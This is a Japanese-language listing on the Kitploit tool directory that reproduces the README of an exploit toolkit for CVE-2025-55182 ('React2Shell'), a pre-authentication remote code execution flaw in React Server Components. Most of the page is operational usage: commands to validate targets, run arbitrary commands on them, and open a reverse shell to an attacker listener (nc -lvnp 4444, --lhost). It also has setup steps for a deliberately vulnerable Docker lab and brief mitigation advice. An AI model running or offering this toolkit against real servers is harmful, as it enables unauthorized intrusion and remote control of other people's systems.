Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-55182 — react2Shell Next.js RCEを介して検証、悪用、およびインタラクティブシェルの取得を行うためのシンプルなツールキット。 | Kitploit
ツール/GitHubGitHub/j4ck3lsyn-gen2/cve-2025-55182
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストコマンド&コントロール学習と教育リモートアクセスツールペイロード開発
GitHubj4ck3lsyn-gen2/cve-2025-55182

CVE-2025-55182

react2Shell Next.js RCEを介して検証、悪用、およびインタラクティブシェルの取得を行うためのシンプルなツールキット。

リポジトリを見る
5ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-55182: React2Shell - Next.js リモートコード実行ツールキット

CVE-2025-55182 CVSS License

[!WARNING] このツールは、許可されたテストおよび教育目的のみで提供されます。無断のネットワークアクセスやデータの外部送信は違法です。このツールをネットワーク上で使用する前に、適切な許可を得ていることを確認するのはユーザーの責任です。

概要

このリポジトリには、React2Shell としても知られる CVE-2025-55182 を検証・エクスプロイトし、対話型シェルを取得するためのシンプルなツールキットが含まれています。これは React Server Components (RSC) における重大な事前認証リモートコード実行 (RCE) の脆弱性であり、バージョン 19.0.0、19.1.0、19.1.1、19.2.0 に影響します。

この脆弱性は、React の Flight プロトコルにおける安全でないデシリアライゼーションに起因し、認証されていない攻撃者が脆弱なサーバー上で任意のコードを実行できるようにします。2025 年 12 月 3 日に公開され、CVSS スコアは 10.0(Critical)です。主に React Server Components に影響しますが、RSC を利用する Next.js などのフレームワークにも影響を及ぼします。

注記: このツールキットは、教育および研究目的のみを意図しています。脆弱性の無断エクスプロイトは違法かつ非倫理的です。責任を持って、所有しているシステム、または明示的なテスト許可を得たシステムでのみ使用してください。

影響を受けるコンポーネント

  • React Server Components: バージョン 19.0.0、19.1.0、19.1.1、19.2.0
  • 関連フレームワーク: Next.js(一部のコンテキストでは CVE-2025-66478 を介する可能性があります)
  • エクスプロイトベクトル: RSC ペイロードにおける安全でないデシリアライゼーションにより、認証なしで RCE が可能になります。

詳細については、公式アドバイザリを参照してください:

  • NVD CVE-2025-55182
  • React Security Advisory
  • Wiz Blog on React2Shell

使用方法


機能

  • 検証: 対象が CVE-2025-55182 に対して脆弱かどうかを確認します。
  • エクスプロイト: 任意のコマンドを実行するためのペイロードを作成します。
  • 対話型シェル: 持続的なアクセスのためのリバースシェルを取得します。
  • 最小限の依存関係で Python 3.x をサポートします。

要件

  • Python 3.8+
  • 必要なライブラリ: requests、argparse(pip install -r requirements.txt でインストール)

インストール

Venv インストール

  1. リポジトリを取得
root@kitploit:~
git clone https://github.com/J4ck3LSyN-Gen2/CVE-2025-55182.git
cd CVE-2025-55182
  1. 仮想環境
root@kitploit:~
python3 -m venv CVE202555182Venv
python3 -m pip install -r requirements.txt
  1. アクティベート
root@kitploit:~
source CVE202555182Venv/bin/activate[.fish]

ローカルインストール

  1. リポジトリをクローン:
    root@kitploit:~
    git clone https://github.com/J4ck3LSyN-Gen2/CVE-2025-55182.git
    cd CVE-2025-55182
    
  2. 依存関係をインストール:
    root@kitploit:~
    pip install -r requirements.txt
    

使用方法

メインスクリプトは sploit.py です。次のオプションで実行します:

root@kitploit:~
python sploit.py --help

オプション

  • --target <URL>: 対象 URL(例: http://vulnerable-site.com)。
  • --mode <validate|sploit|shell>: 操作モード。
    • validate: エクスプロイトなしで脆弱性を確認します。
    • sploit: カスタムコマンドを実行します。
    • shell: 対話型リバースシェルを確立します。
  • --command <CMD>: 実行するコマンド(sploit モードで必須)。
  • --lhost <IP>: リバースシェル用のローカルホスト(shell モードで必須)。
  • --lport <PORT>: リバースシェル用のローカルポート(デフォルト: 4444)。

例

  1. 脆弱性の検証:

    root@kitploit:~
    python sploit.py --target http://example.com --mode validate
    
  2. コマンド実行によるエクスプロイト:

    root@kitploit:~
    python sploit.py --target http://example.com --mode sploit --command "whoami"
    
  3. 対話型シェルの取得: まずリスナーを設定し(例: nc -lvnp 4444)、次に実行します:

    root@kitploit:~
    python sploit.py --target http://example.com --mode shell --lhost 192.168.1.100 --lport 4444
    

動作の仕組み

  1. 脆弱性の検出: 特別に細工された RSC ペイロードを送信して、デシリアライゼーションの欠陥を検出します。
  2. ペイロードの作成: 安全でないデシリアライゼーションを利用して、React の Flight プロトコル経由でコードを注入します。
  3. シェルアクセス: 攻撃者のマシンに接続し直すペイロードを実行することで、リバースシェルへと昇格させます。

技術的な詳細については:

  • Datadog Security Labs Analysis
  • Dynatrace Blog

実行例


Docker インストール

root@kitploit:~

{
  "dependencies": {
    "next": "14.3.0-canary.77",
    "react": "19.0.0",
    "react-dom": "19.0.0"
  },
  "scripts": {
    "dev": "next dev",
    "build": "next build",
    "start": "next start"
  }
}

tsconfig.json を完全に削除(これがビルドを壊していた原因です)

root@kitploit:~

rm tsconfig.json

必要最小限の App Router ファイルを作成

root@kitploit:~

mkdir -p app

# app/layout.tsx
cat > app/layout.tsx << 'EOF'
import "./globals.css";

export default function RootLayout({
  children,
}: {
  children: React.ReactNode;
}) {
  return (
    <html lang="en">
      <body>{children}</body>
    </html>
  );
}

app/globals.css(基本的に空で問題ありません)

root@kitploit:~
echo "/* minimal css - required by Next.js */" > app/globals.css

app/page.tsx(実際の脆弱なページはここに配置 – サンプルスタブ)

root@kitploit:~
cat > app/page.tsx << 'EOF'
export default function Home() {
  return (
    <main>
      <h1>react2shell lab is running!</h1>
      <p>Start sploiting → /api/vulnerable-endpoint</p>
    </main>
  );
}

最終版の堅牢な Dockerfile を作成(正確な内容)

root@kitploit:~

FROM node:20-alpine

WORKDIR /app

# Copy only package files first (better caching)
COPY package*.json ./

# Install dependencies with legacy peer deps (required for this old canary)
RUN npm install --legacy-peer-deps

# Copy the rest of the app
COPY . .

# Remove tsconfig.json so Next.js doesn't try to auto-install TypeScript (this was the killer)
RUN rm -f tsconfig.json

# Build the Next.js app
RUN npm run build

# Expose port
EXPOSE 3000

# Start the app
CMD ["npm", "start"]

ビルドと実行(これらのコマンドは完全に動作します)

root@kitploit:~

docker build -t react2shell .
docker run -d -p 3000:3000 --name react2shell react2shell

ブラウザで開く

→ http://localhost:3000これで完了です。コンテナは <2 秒で起動し、プロトタイプ汚染 → RCE チェーンの準備が整います。いつでも全削除して再起動できるワンライナー(任意):bash

root@kitploit:~
docker rm -f react2shell && docker run -d -p 3000:3000 --name react2shell react2shell

緩和策

  • React をバージョン 19.2.1 以降に更新してください。
  • 不要な場合は、React Server Components を無効化または制限してください。
  • 国家支援を受けた攻撃者(例: 中国に結びつくグループ)がこの CVE を急速に標的としていることが確認されているため、エクスプロイトの試みを監視してください。

脅威インテリジェンスについては AWS Security Blog を参照してください。

免責事項

このツールは、保証なしで「現状のまま」提供されます。作者は、このツールキットの誤用またはそれによって生じた損害について一切責任を負いません。脆弱性をテストする前に、必ず許可を取得してください。

コントリビューション

プルリクエストは歓迎します!大幅な変更を行う場合は、最初にイシューを開いてください。

ライセンス

このプロジェクトは MIT ライセンスの下でライセンスされています。詳細は LICENSE ファイルを参照してください。

参考情報

  • Cisco Advisory
  • Palo Alto Unit 42 Report
  • CMU ISO News
  • Cloudflare Blog
  • Huntress Blog
  • JFrog Blog
  • Elastic Security
Your Image Badge
ツールをダウンロード